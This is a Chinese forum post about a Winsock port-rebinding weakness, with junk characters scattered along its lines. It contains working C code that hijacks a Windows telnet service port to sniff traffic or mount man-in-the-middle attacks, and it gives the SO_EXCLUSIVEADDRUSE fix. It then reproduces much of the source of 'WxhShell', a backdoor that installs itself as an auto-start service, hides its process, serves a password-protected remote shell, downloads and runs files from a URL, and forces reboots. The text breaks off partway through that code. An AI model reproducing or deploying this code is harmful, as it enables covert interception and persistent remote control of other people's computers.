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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: bl_WN|SQ  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); zi .,?Q  
WmUW i{  
  saddr.sin_family = AF_INET; 2]=I'U<E!  
rrYp^xLa`  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); P qLqF5`S  
;NE/!!  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); &Q>'U6"%  
ZnLk :6'  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 T0%TeFY  
/}_c7+//  
  这意味着什么?意味着可以进行如下的攻击: @l GnG  
bK9~C" k  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 C)s1' =TZ  
A'iF'<%  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 30+l0\1  
pVS2dwBqE  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 .+}o'rU  
[nIG_j>D-f  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  389.&`Q%Ut  
a] =\h'S  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 9t.yP;j\Y  
jSp&mD*xv  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Gc z@ze  
z/k~+-6O  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 jMui+G(h  
NP'Ke:  
  #include g4aX  
  #include {))S<_ yN  
  #include OG7v'vmY  
  #include    x*8f3^ wE  
  DWORD WINAPI ClientThread(LPVOID lpParam);   T,2Dr;  
  int main() iCRw}[[  
  { Gj8[*3d  
  WORD wVersionRequested; 3H#/u! W  
  DWORD ret; p6*a1^lU6  
  WSADATA wsaData; U9.=Ik  
  BOOL val; &d3'{~:  
  SOCKADDR_IN saddr; DPQGh`J  
  SOCKADDR_IN scaddr; U4l*;od  
  int err; ZQ-`l:G  
  SOCKET s; qbq<O %g=  
  SOCKET sc; VfqY_NmgC  
  int caddsize; CU1\C*  
  HANDLE mt; }_(^/pnk  
  DWORD tid;   tr9Y1vxo{  
  wVersionRequested = MAKEWORD( 2, 2 ); i2a"J&,6O  
  err = WSAStartup( wVersionRequested, &wsaData ); 'ag6B(0Z  
  if ( err != 0 ) { dIa(</ }  
  printf("error!WSAStartup failed!\n"); m4U+,|Fa  
  return -1; s/vOxGc  
  } X#I`(iHY  
  saddr.sin_family = AF_INET; qL5#.bR  
   *r,&@UB  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 :8Ts'OGwI  
w[7.@%^[  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Xe3z6  
  saddr.sin_port = htons(23); `}8@[iB'  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) j /dE6d  
  { ->2wrOH|H  
  printf("error!socket failed!\n"); (<R\  
  return -1; P,;b'-5C  
  } NQiecxvt=  
  val = TRUE; ]VG84bFm  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 3^R][;  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 2C33;?M  
  { v7<S F  
  printf("error!setsockopt failed!\n"); vgA!?P3  
  return -1; Hl2f`GZ   
  } .1}rzh}8  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; !E {GcK  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 B?lBO V4v4  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 N~S[xS?  
W^d4/]  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ;Ma/b=Y  
  { $mI:Im`s  
  ret=GetLastError(); ?F87C[o  
  printf("error!bind failed!\n"); Y = g>r]2  
  return -1; Ih-3t*L  
  } &.  =}g]  
  listen(s,2); ^M(`/1:  
  while(1) L>~@9a\jO  
  { 4&oXy,8LC  
  caddsize = sizeof(scaddr); n:*_uc^C  
  //接受连接请求 vJj:9KcP>h  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); uO_,n  
  if(sc!=INVALID_SOCKET) `gt&Y-  
  { b1+hr(kMRM  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); H#|Z8^ *Ds  
  if(mt==NULL) }} ``~  
  { ZO%fS'n  
  printf("Thread Creat Failed!\n"); Z.aLk4QO@  
  break; Q k;Kn  
  } *qO]v9 j  
  } i{|lsd(+  
  CloseHandle(mt); BbXU| QtY  
  } dI_r:xN  
  closesocket(s); ~.W=  
  WSACleanup(); 18O@ 1M  
  return 0; ^x_ >r6  
  }   ;zZ,3pl-E  
  DWORD WINAPI ClientThread(LPVOID lpParam) S_|9j{w)  
  { Q3BLL` W~  
  SOCKET ss = (SOCKET)lpParam; 9QC"Od9H  
  SOCKET sc; Y/^[qD  
  unsigned char buf[4096]; CQBT::  
  SOCKADDR_IN saddr; %$ir a\ sM  
  long num; SaR}\Up  
  DWORD val; 7wiK.99  
  DWORD ret; h9<mThvgn  
  //如果是隐藏端口应用的话,可以在此处加一些判断 %\X P:  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   !cN?SGafZI  
  saddr.sin_family = AF_INET; QIij>!c4  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ^ o $W  
  saddr.sin_port = htons(23); &\"Y/b]  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) !B [1zE  
  { ]r/(n]=(  
  printf("error!socket failed!\n"); MtZt8s  
  return -1; i!SW?\  
  } 4Q$j]U&b  
  val = 100; FG>;P]mvp  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) C3 gZ6m  
  { /'&.aGW4%  
  ret = GetLastError(); *Nv y+V  
  return -1; k_*XJ<S!Y  
  } VO. -.  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Ynv9&P  
  { 2!{_/@I\Y  
  ret = GetLastError(); 'GV&]   
  return -1; >vD['XN,  
  } E6'8Zb  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) _l#3]#  
  { ERp:EZ'  
  printf("error!socket connect failed!\n"); %rM-"6Q  
  closesocket(sc); lnC !g  
  closesocket(ss); }yx=(+jP  
  return -1; @@xO+$6  
  } FasI'Ulk  
  while(1) UfK4eZx*`  
  { &Q'\WA'  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ?vZWUWa  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 \yih 1Om>~  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 \3%W_vU_  
  num = recv(ss,buf,4096,0); SW,q}-  
  if(num>0) n!UMU^  
  send(sc,buf,num,0); 8`:M\*  
  else if(num==0) YH ETI~'j.  
  break; "2ZIoa!^  
  num = recv(sc,buf,4096,0); u{g]gA8s  
  if(num>0) ?JuX~{{. L  
  send(ss,buf,num,0); (y=dR1p  
  else if(num==0) ltNuLZ  
  break; DapQ}2'_  
  } I`/]@BdgY  
  closesocket(ss); dzgs%qtK  
  closesocket(sc); PzIy">plm  
  return 0 ; R&NpdW N  
  } 4|zd84g  
b%3Q$wIJ6  
W:`5nj]H9  
========================================================== 6b%`^B\  
l*QIoRYFW  
下边附上一个代码,,WXhSHELL - waX#U T=  
rU; g0'4e  
========================================================== xh{mca>?G  
aN>U. SB  
#include "stdafx.h" $|Q".dD  
S#P+B*v  
#include <stdio.h> ^Lsc`<xC  
#include <string.h> Vn)%C_-]A  
#include <windows.h> #t=[w  
#include <winsock2.h> x HY+q ;  
#include <winsvc.h> M{*kB2jr  
#include <urlmon.h> &@=u+)^-{  
`ajx hp  
#pragma comment (lib, "Ws2_32.lib") h^['rmd  
#pragma comment (lib, "urlmon.lib") ;rNd701p"  
:L]-'\y  
#define MAX_USER   100 // 最大客户端连接数 NU|qX {-  
#define BUF_SOCK   200 // sock buffer _mw13jcN]  
#define KEY_BUFF   255 // 输入 buffer 53bM+  
CI IY|DI`l  
#define REBOOT     0   // 重启 e-~hS6p(  
#define SHUTDOWN   1   // 关机 1pWk9Xuh  
"=9-i-K9B  
#define DEF_PORT   5000 // 监听端口 .JNcY]V#  
0o;k?4aP.c  
#define REG_LEN     16   // 注册表键长度 ]9fS@SHdx  
#define SVC_LEN     80   // NT服务名长度 F\;2 i:(  
+VwV5iy[`  
// 从dll定义API d "2wO[  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); \'[3^/('  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ex.+'m<g  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); g+igxC}2z  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); :eSc;  
<BZ_ (H  
// wxhshell配置信息 jh>N_cp  
struct WSCFG { (viWY  
  int ws_port;         // 监听端口 4/b(Y4$,[r  
  char ws_passstr[REG_LEN]; // 口令 Xc{ZN1 4n  
  int ws_autoins;       // 安装标记, 1=yes 0=no Og +)J9#  
  char ws_regname[REG_LEN]; // 注册表键名 >Q&CgGpW$  
  char ws_svcname[REG_LEN]; // 服务名 b~1iPaIh  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 %WZ$]M?q  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 I[@ts!YD  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ?vvG)nW  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ^Fn%K].X  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Bu&So|@TL  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 [U swf3  
S[Vtq^lU  
}; |0lLl^zp  
kPWBDpzN  
// default Wxhshell configuration ^,Lt Ewd~Y  
struct WSCFG wscfg={DEF_PORT, l@xWQj9  
    "xuhuanlingzhe", )GK+  
    1, ># INEO  
    "Wxhshell", ;3mL^  
    "Wxhshell", 3eWJt\}?B  
            "WxhShell Service", 2_ wv C  
    "Wrsky Windows CmdShell Service", { yTpRQN~  
    "Please Input Your Password: ", uN8/Q2   
  1, rjXnDh]MC  
  "http://www.wrsky.com/wxhshell.exe", '|_/lz$h  
  "Wxhshell.exe" 0fA=_=A,  
    }; B4IBuS  
M%3Wy"YQ,n  
// 消息定义模块 Cpe#[mE  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; w;~>k%}j  
char *msg_ws_prompt="\n\r? for help\n\r#>"; =)(0.E  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 9976H\{  
char *msg_ws_ext="\n\rExit."; g@Ld"5$^2  
char *msg_ws_end="\n\rQuit."; )J&|\m(e  
char *msg_ws_boot="\n\rReboot..."; lirNYJ]tO  
char *msg_ws_poff="\n\rShutdown..."; !W~QT}  
char *msg_ws_down="\n\rSave to "; X{`1:c'x  
Oo1ecbY  
char *msg_ws_err="\n\rErr!"; mzz$`M 1  
char *msg_ws_ok="\n\rOK!"; RtwUb(wn6  
VNO'="U  
char ExeFile[MAX_PATH]; 1\y@E  
int nUser = 0; G0Hs,B@5?  
HANDLE handles[MAX_USER]; /9Z!p  
int OsIsNt; oPsK:GC`U  
)nOE 8y/  
SERVICE_STATUS       serviceStatus; |kseKZ3  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 9n"V\e_R  
[]gRfM]$&  
// 函数声明 -x{&an=  
int Install(void); "W5rx8a  
int Uninstall(void); x9&p!&*&IT  
int DownloadFile(char *sURL, SOCKET wsh); _4v"")Xe  
int Boot(int flag); 4gb'7'  
void HideProc(void); \E77SO,$  
int GetOsVer(void); 0<Q*7aY  
int Wxhshell(SOCKET wsl); x6v,lR  
void TalkWithClient(void *cs); H99xZxHZ{  
int CmdShell(SOCKET sock); m]P/if7  
int StartFromService(void); G|*G9nQ  
int StartWxhshell(LPSTR lpCmdLine); qe%V#c  
#Kl}= 1 4  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); [,b)YjO~Xd  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); QZ~0o7  
N 2Ssf$  
// 数据结构和表定义 = ^s$ <  
SERVICE_TABLE_ENTRY DispatchTable[] = $UC{"0  
{ X3yS5wh d(  
{wscfg.ws_svcname, NTServiceMain}, }LQC.!  
{NULL, NULL} |IN[uQ  
}; AG>\aV"b  
9@'4P  
// 自我安装 P,ydt  
int Install(void) NbkK&bz  
{ SY T$3|a  
  char svExeFile[MAX_PATH]; ;MPKJS68@  
  HKEY key; 9go))&`PJL  
  strcpy(svExeFile,ExeFile); T?rH ,$:  
> c:Zx!  
// 如果是win9x系统,修改注册表设为自启动 #c:kCZt#  
if(!OsIsNt) { E-SG8U;  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { `tVy_/3(9  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); UP8{5fx'  
  RegCloseKey(key); U=QA  e  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { (NaK3_  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); t^U^Tr  
  RegCloseKey(key); bo>E"<  
  return 0; 2(+P[(N1,  
    } #xp(B5  
  } Mk5RHDh  
} JD lBVZ!  
else { D/:3R ZF  
W;TJenv  
// 如果是NT以上系统,安装为系统服务 P=gJAE5  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); _ZyT3P&  
if (schSCManager!=0) u"Y]P*[k  
{ Nfaf;;J}  
  SC_HANDLE schService = CreateService [K:29N9~4  
  (  =:~(m  
  schSCManager, N|Habua<Xw  
  wscfg.ws_svcname, DFy1 bg  
  wscfg.ws_svcdisp, !_x*m@/  
  SERVICE_ALL_ACCESS, n&d/?aJ7a\  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Nog(VN4I&  
  SERVICE_AUTO_START, l"\uf(0K  
  SERVICE_ERROR_NORMAL, Ep ">v>"  
  svExeFile, _ECB^s_  
  NULL, {y-`QS  
  NULL, E9$H nj+m  
  NULL, 5[R?iSGL1  
  NULL, u)~s4tP4  
  NULL WeVi] n  
  ); (U9a@ 1  
  if (schService!=0) tX?J@+  
  { CDCC1BG"  
  CloseServiceHandle(schService); fM ^<+o@  
  CloseServiceHandle(schSCManager); Dbz]{_Y;  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); _yVPpA[a  
  strcat(svExeFile,wscfg.ws_svcname); +)gB9DoK  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { I7G,`h+H  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ])N%^Qe$U  
  RegCloseKey(key); R|Y~u*D  
  return 0; *Hunp Y  
    } (.Xr#;\(  
  } Kz[BB@[  
  CloseServiceHandle(schSCManager); it,w^VU_]  
} [h HG .  
} %h/! Y<%  
hk;bk?:m  
return 1; 6K 4+0xXv  
} aYVDp{_  
 yekRwo|  
// 自我卸载 h=[-Er'B  
int Uninstall(void) SRf5W'4y  
{ 9p*-?kPb  
  HKEY key; =l,#iYJP8  
_}ele+  
if(!OsIsNt) { Y iZx{5  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ) b:4uK A  
  RegDeleteValue(key,wscfg.ws_regname); 5f_7&NxT  
  RegCloseKey(key); @vAFfYU9<.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { IG|\:Xz  
  RegDeleteValue(key,wscfg.ws_regname); )U5u" ]9~  
  RegCloseKey(key); hdg<bZk:  
  return 0; 7I3:u+  
  } B.K4!/cF  
} 3;Hd2 ;G  
} 3 Gd|YRtk  
else { Vp7b4n<  
S@A<6   
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); _FsB6 G]mc  
if (schSCManager!=0) ZNL5({lv  
{ CQ18%w6  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); X6kaL3L}  
  if (schService!=0) P` ]ps?l  
  { a8QfkOe  
  if(DeleteService(schService)!=0) { vgAFuQi(  
  CloseServiceHandle(schService); 4J}3,+  
  CloseServiceHandle(schSCManager); o9+Q{|r  
  return 0; ZIW7_Y>_  
  } 0WXVc  
  CloseServiceHandle(schService); (9'be\  
  } ^A#x<J+  
  CloseServiceHandle(schSCManager); vZk9gGjk  
} {(0Id!  
} G?ZC 9w]rA  
Tk](eQsy.v  
return 1; /.@x 4cdS  
} zq=&4afOE  
2Fq=jOA)z$  
// 从指定url下载文件 PW)8aLU  
int DownloadFile(char *sURL, SOCKET wsh) O! (85rp/  
{ 'M-)Os "  
  HRESULT hr; +.K*n&  
char seps[]= "/"; dk:xnX%  
char *token; GGM5m|4  
char *file; 8})|^%@n  
char myURL[MAX_PATH]; z}3di5+P  
char myFILE[MAX_PATH]; tNB%eb{  
ogp{rY  
strcpy(myURL,sURL); 5\3 swP_7  
  token=strtok(myURL,seps); hpas'H>J  
  while(token!=NULL) 4UVW#Rw{  
  { 1 yJ75/  
    file=token; SdSgn|S  
  token=strtok(NULL,seps); Q[jI=$Q)  
  } R. O  
Cy6%S).c  
GetCurrentDirectory(MAX_PATH,myFILE); 0}D-KvjyP  
strcat(myFILE, "\\"); 4uPH  
strcat(myFILE, file); H7}g!n?  
  send(wsh,myFILE,strlen(myFILE),0); Q!`)e@r  
send(wsh,"...",3,0); iel-<(~   
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 6N?#b66  
  if(hr==S_OK) 1y~L8!: L  
return 0; %rw}u"3T  
else $8Ig&k|~8  
return 1; 3?  };  
ETxp# PZ  
} re/xs~  
/Bh>  
// 系统电源模块 3jXR"@Z-  
int Boot(int flag) J ZA*{n2  
{ R qn WtE  
  HANDLE hToken; @]E]W#xAn  
  TOKEN_PRIVILEGES tkp; W w^7^q&  
aU4R+.M7@  
  if(OsIsNt) { brj[c>ID  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); _TrZ'iL}T  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 7MoR9,(  
    tkp.PrivilegeCount = 1; CuIqh BW!  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; f&f`J/(  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 9QC< E|  
if(flag==REBOOT) { 9@Q&B+!  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 1*L^^% w  
  return 0; 3`x sK[  
} jmSt?M0.xV  
else { z+ uL "PG[  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) }'PG!+=I  
  return 0; ]W+)ee|D  
} 5`{=`  
  } r1+c/;TpZ  
  else { 9uKOR7.zbo  
if(flag==REBOOT) { D/e&7^iK  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) +)?,{eE|  
  return 0; <>VID E  
} (X*'y*:  
else { R08&cd#$  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) '^e0Ud,  
  return 0; zf`5>h|  
} 'y< t/qo  
} bB y'v/  
Ywmyr[Uh'  
return 1; JaA&eT|  
}  ccRlql(  
x!OWJ/O  
// win9x进程隐藏模块 EG%I1F%  
void HideProc(void) mZ]P[lQ'5  
{ PL9<*.U"=  
*3 !(*F@M,  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); dr.**fGYde  
  if ( hKernel != NULL ) (Z5q&#f  
  { U[IQ1AEr  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); E=}6 X9X  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); vz- 9<w;>a  
    FreeLibrary(hKernel); yq1Gqbh l  
  } qI(W$  
*+NGi(N  
return; eR7qE) h  
} ?0 HR(N(z!  
P a3{Ds  
// 获取操作系统版本 L7X7Zt8%  
int GetOsVer(void) 0K&_D)  
{ e jP,29  
  OSVERSIONINFO winfo; BHEs+ e0  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); xT:qe  
  GetVersionEx(&winfo); ;& RUE  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) pi|\0lH6W  
  return 1; t#a.}Jl  
  else ]U_5\$  
  return 0; b*cW<vX}~  
} :b.3CL\.6  
a:=q8Qy  
// 客户端句柄模块 GVeL~Q  
int Wxhshell(SOCKET wsl) 4s[`yV  
{ \)FeuLGL9  
  SOCKET wsh; 7F,07\c  
  struct sockaddr_in client; ^cB49s+{e  
  DWORD myID; su,`q  
, - QR  
  while(nUser<MAX_USER) dz{#"No0  
{ Cq-hPa}2  
  int nSize=sizeof(client); c]GQU  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Lc58lV=  
  if(wsh==INVALID_SOCKET) return 1; P;^y|0N m  
8w03{H 0  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); O 5g}2  
if(handles[nUser]==0) SL6mNn9c  
  closesocket(wsh); Xq+!eOT  
else VEL:JsY  
  nUser++; 2O?Vr" A  
  } g7 .7E6%H  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); =n> iQS  
=AWX +znP  
  return 0; H0: iYHu  
} np<f,  
W/#KX}4  
// 关闭 socket Kl4isGcr]  
void CloseIt(SOCKET wsh) 7h(HG?2Y  
{ y2oB]^z&n  
closesocket(wsh); KK@ &q  
nUser--; K4iI:  
ExitThread(0); !x`;>0  
} `6 |i&w:b  
K#_~ !C4L  
// 客户端请求句柄 :&xz5c`"04  
void TalkWithClient(void *cs) 83mlZ1jQz  
{ NYWG#4D  
kA?X^nj@  
  SOCKET wsh=(SOCKET)cs; Ll008.#  
  char pwd[SVC_LEN]; r~8D\_=s  
  char cmd[KEY_BUFF]; q >Q:X3  
char chr[1]; k\sc }z8X  
int i,j; qFV;n6&V  
Ly#h|)  
  while (nUser < MAX_USER) { ~%olCxfO  
ST[2]   
if(wscfg.ws_passstr) { 9zXu6<|qrL  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ^</65+OT+  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~5lKL5w  
  //ZeroMemory(pwd,KEY_BUFF); r^?)F?n!  
      i=0; uPa/,"p  
  while(i<SVC_LEN) { F?*Dr  
h$E\2lsE  
  // 设置超时 aK8bKlZe  
  fd_set FdRead; Mfnlue](  
  struct timeval TimeOut; ^VSt9 &  
  FD_ZERO(&FdRead); yw;ghP;  
  FD_SET(wsh,&FdRead); UN cYu9[  
  TimeOut.tv_sec=8; xI=}z  
  TimeOut.tv_usec=0; $sU5=,  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); _fczE~O/  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 1{SrHdD=  
XkMs   
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); i_j9/k  
  pwd=chr[0]; b:N^Fe  
  if(chr[0]==0xd || chr[0]==0xa) { +)/Rql(lY  
  pwd=0; 08TaFzP81  
  break; !!?+M @  
  } d$2@,  
  i++; [VY8?y  
    } &/b? I `  
tIz<+T_  
  // 如果是非法用户,关闭 socket ig2{lEkF  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); R`0foSq \M  
} 8zP:*|D  
AzLbD2Pl  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); N?MJ#lC F  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); tIn7(C  
}-REBrb-  
while(1) { r;&]?9)W0  
-mev%lV  
  ZeroMemory(cmd,KEY_BUFF); c!'A)JD@  
Ze [g0"  
      // 自动支持客户端 telnet标准   Y9IJ   
  j=0; Cm,*bgX  
  while(j<KEY_BUFF) {  ltCwns  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ;n(#b8r9  
  cmd[j]=chr[0]; ua]\xBWx  
  if(chr[0]==0xa || chr[0]==0xd) { (SgEt  
  cmd[j]=0; %JP&ox|^&  
  break; no~OR Q  
  } `^ieT#(O  
  j++; c,#~L7  
    } J~_L4* Jw  
}m=t zHB*  
  // 下载文件 t*Z .e.q+  
  if(strstr(cmd,"http://")) { R9b/?*%=9  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); !$:0E y(S  
  if(DownloadFile(cmd,wsh)) M iP[UCh  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); d1srV`  
  else otmIu`h  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); b xk'a,!S  
  } ^@|<'g.R-  
  else { >< <$  
<GL}1W"Ay  
    switch(cmd[0]) { ql#{=oGDnA  
  >,w\lf9  
  // 帮助 rh:s 7  
  case '?': { TTA{#[=7  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); VYl_U?D  
    break; bqw/O`*wfN  
  } /t$+Af,}  
  // 安装 htUy2v#V  
  case 'i': { h/0<:eZ*  
    if(Install()) ,_"7|z wb  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~6@c]:  
    else D-TNFYYy2  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1=9qAp;?o  
    break; r+{!@`dYi  
    } E"9/YWv  
  // 卸载 B#qL$M,|  
  case 'r': { [M7iJcwt  
    if(Uninstall())  |0C|$2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z`-)1!  
    else ^F0k2pB  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2- Npw%;  
    break; j:rs+1bc  
    } "W?l R4  
  // 显示 wxhshell 所在路径 x*,q Rew  
  case 'p': { Hm+6QgCs  
    char svExeFile[MAX_PATH]; ZXssvjWQV}  
    strcpy(svExeFile,"\n\r"); 4*N@=v  
      strcat(svExeFile,ExeFile); |kBg8).B  
        send(wsh,svExeFile,strlen(svExeFile),0); r)9i1rI+  
    break; KRnB[$3F1  
    } 2-"Lxe65f  
  // 重启 3oppV_^JdT  
  case 'b': { /ctaAQDUh\  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); z{D$~ ob  
    if(Boot(REBOOT)) G:h;C].  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2g ?Jb5)  
    else { =FtM;(\  
    closesocket(wsh); F- !}dzO  
    ExitThread(0); *7xQp!w^  
    } )9A<fwpN  
    break; fw(j6:p  
    } MYDf`0{$_a  
  // 关机 (x1"uy7_  
  case 'd': { k$$S!qi#  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 0] :*v?  
